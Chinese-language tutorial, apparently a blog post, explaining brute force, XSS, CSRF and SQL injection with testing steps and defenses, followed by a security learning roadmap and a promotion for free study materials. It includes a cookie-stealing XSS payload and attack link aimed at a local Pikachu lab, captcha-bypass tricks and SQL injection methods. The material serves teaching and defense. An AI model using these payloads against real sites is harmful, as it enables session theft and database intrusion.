Web 安全四大核心漏洞详解：暴力破解、XSS、CSRF、SQL 注入

Web 安全四大核心漏洞详解：暴力破解、XSS、CSRF、SQL 注入

本文将详细讲解 Web 安全中最基础，靶场、面试高频的四大漏洞：暴力破解、XSS 跨站脚本、CSRF 跨站请求伪造、SQL 注入。内容包含原理、测试流程、场景分析以及防御方案，适合网络安全新手学习，Markdown 格式可直接复制发布。

一、暴力破解攻击

概述

暴力破解就是批量不断尝试用户名与密码组合，直到匹配出正确账号密码完成登录。

字典

1. 常见弱口令字典：收集互联网高频使用密码，如 123456、admin888 等；
2. 社工字典：结合目标姓名、手机号、生日等个人信息生成专属字典；
3. 泄露库字典：互联网泄露的脱裤账号密码，多用于撞库攻击。

产生条件

1. 网站未强制用户设置复杂度较高的密码；
2. 登录接口没有部署安全验证码防护；
3. 登录接口没有登录失败次数限制，允许无限次提交账号密码；
4. 没有启用双因素认证，仅依靠账号密码完成身份校验。

测试流程

1. 确认登录接口的脆弱性，判断是否存在次数限制、验证码校验；
2. 根据业务场景对字典做精简优化，剔除无效内容，提升爆破效率；
3. 使用工具加载字典进行自动化批量请求。

实战技巧

1. 优先查看注册页面，确认账号密码的格式要求（密码长度、是否允许数字特殊符号），过滤无效字典；
2. 后台管理系统高频账号：admin、administrator、root优先尝试。

常见验证码绕过场景

1. 前端验证码校验：验证码只在前端 JS 做判断，后端不校验，抓包删除验证码参数即可直接绕过；
2. 验证码使用后没有被销毁：同一个验证码可以多次复用，重复提交数据包实现爆破；
3. Token 参数前端可控：token 直接输出在前端页面，脚本自动抓取 token 随登录数据包一起提交，绕过验证码限制。

二、XSS（跨站脚本漏洞）

产生原理

网站对用户输入的数据过滤不严，恶意 JS 脚本被存入页面，其他用户访问页面时，浏览器把恶意内容当作 JS 代码解析执行。攻击者可以实现窃取 Cookie、钓鱼、篡改页面等攻击行为。

XSS 分为三类：存储型 XSS、反射型 XSS、DOM 型 XSS。

1. 存储型 XSS（高危）
   恶意脚本存入服务器数据库，所有访问该页面的用户都会触发脚本。常见位置：留言板、评论区、帖子发布功能。
2. 反射型 XSS
   恶意脚本放在 URL 参数中，受害者点击构造好的恶意链接才会触发，不会存入数据库，属于一次性触发。

Cookie 窃取 Payload 示例：

<script>document.location='http://127.0.0.1:8080/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

构造后的攻击链接：

http://127.0.0.1:8080/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F127.0.0.1%3A8080%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit

POST 型反射 XSS 需要攻击者搭建恶意网页，诱导受害者访问，自动提交 POST 请求触发漏洞。

3. DOM 型 XSS
   不经过服务器后端，完全依靠前端 JS 处理页面 DOM，通过修改页面 DOM 节点执行恶意代码。请求不会携带恶意参数到后端，抓包看不到恶意脚本。

XSS 防范措施

1. 输入过滤：过滤< > " ' /等特殊标签与符号；
2. 输出转义：数据输出渲染到页面时做 HTML 实体转义；
3. 设置 Cookie 的 HttpOnly 属性，阻止 JS 读取 Cookie；
4. 部署 CSP 内容安全策略，限制脚本加载来源。

三、CSRF（跨站请求伪造）

概述

CSRF 攻击是攻击者诱导用户在已登录状态下访问恶意页面，利用用户当前登录身份，在用户不知情的情况下发起业务请求，完成修改密码、修改个人资料等操作，也叫 “一键攻击”。

攻击成立两个必要条件：

1. 目标网站关键业务请求没有 CSRF 防护，请求可以被伪造；
2. 用户处于网站登录状态，并且点击访问攻击者构造的恶意页面；用户未登录则攻击失效。

CSRF 与 XSS 核心区别

• CSRF：借用用户已有的权限执行操作，无法拿到用户凭证；
• XSS：直接执行恶意脚本，窃取用户 Cookie 等权限凭证。

测试流程

抓包观察修改密码、修改资料等关键请求数据包，查看请求是否携带随机 Token、验证码等校验参数。

GET / POST 漏洞演示

1. GET 型 CSRF：业务操作全部依靠 URL 明文参数，直接构造恶意链接诱导用户点击；
2. POST 型 CSRF：攻击者搭建外部恶意网页，页面自动发送 POST 表单请求完成伪造操作。

防御方案

1. Anti‑CSRF‑Token：每一次关键请求携带服务端生成的随机唯一 Token，后端校验 Token 合法性；
2. 校验请求的 Referer 来源；
3. 高危业务操作增加验证码、短信二次确认。

四、SQL 注入漏洞

漏洞原理

后端直接把用户可控输入拼接进 SQL 语句，没有做过滤处理。攻击者构造特殊闭合字符篡改原有 SQL 逻辑，欺骗数据库执行恶意语句，实现查询、篡改、删除数据库数据。

注入点分类

• 数字型注入：参数直接作为数字，不需要引号闭合；
• 字符型注入：参数被单引号 / 双引号包裹，需要先闭合引号破坏原有 SQL 语法；
• 搜索型注入：搜索框模糊查询场景，依靠%通配符闭合。

GET 与 POST 注入区别

• GET 注入：参数放在 URL 中，测试简单，日志容易记录；
• POST 注入：参数放在请求体，不在 URL 展示，隐蔽性更强。

手工测试思路

1. 闭合测试：输入单引号'观察页面报错、异常；
2. 联合查询注入：使用union select，爆库、爆表、爆字段、拿数据；
3. 布尔盲注：页面只有两种状态，没有数据回显，根据页面真假状态猜解数据；
4. 时间盲注：页面无任何差异，使用sleep()延时函数，依靠服务器响应时间判断 SQL 执行结果。

SQL 注入防御方案

1. 优先参数化预编译查询，禁止直接拼接用户输入到 SQL 语句；
2. 使用 ORM 框架，减少手写原生 SQL；
3. 输入校验，优先白名单策略；
4. 数据库账号最小权限，业务账号不授予 drop、alter 等高风险权限；
5. 生产环境关闭数据库详细报错输出。

五、总结

暴力破解、XSS、CSRF、SQL 注入是 Web 安全入门四大经典漏洞，也是面试、护网高频考点。

1. 暴力破解：认证防护缺失，依靠字典批量尝试账号密码；
2. XSS 跨站脚本：输入输出过滤缺失，执行恶意 JS 脚本，窃取会话、篡改页面；
3. CSRF 跨站请求伪造：利用用户登录态伪造业务请求，缺少随机 Token 校验；
4. SQL 注入：SQL 语句直接拼接可控输入，可窃取、篡改数据库数据，危害极高。

Web 漏洞通用防御思想：严格管控输入、规范输出渲染、权限最小化、关键操作增加二次校验。

免责声明：本文技术内容仅供安全学习与靶场练习，未经授权禁止对任何线上网站实施渗透攻击，违规操作需要承担相应法律责任。

最后

网络安全需要学习那些知识

网络安全零基础入门学习路线&规划

初级
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k

到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？

想要入坑黑客&网络安全的朋友，给大家准备了一份：282G全网最全的网络安全资料包免费领取！

7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.

零基础入门，建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习； 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime； ·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完； ·用Python编写漏洞的exp,然后写一个简单的网络爬虫； ·PHP基本语法学习并书写一个简单的博客系统； 熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)； ·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，贴一个大概的路线。

网络安全工程师企业级学习路线

视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。

一些我自己买的、其他平台白嫖不到的视频教程：

要学习网安其实不难，难的是坚持和相信自己，我的经验是既然已经选定网安你就要相信它，相信它能成为你日后进阶的高效渠道，这样自己才会更有信念去学习，才能在碰到困难的时候坚持下去。

机会属于有准备的人，这是一个实力的时代。人和人之间的差距不在于智商，而在于如何利用业余时间，只要你想学习，什么时候开始都不晚，不要担心这担心那，你只需努力，剩下的交给时间！

这份完整版的学习资料已经上传CSDN，朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】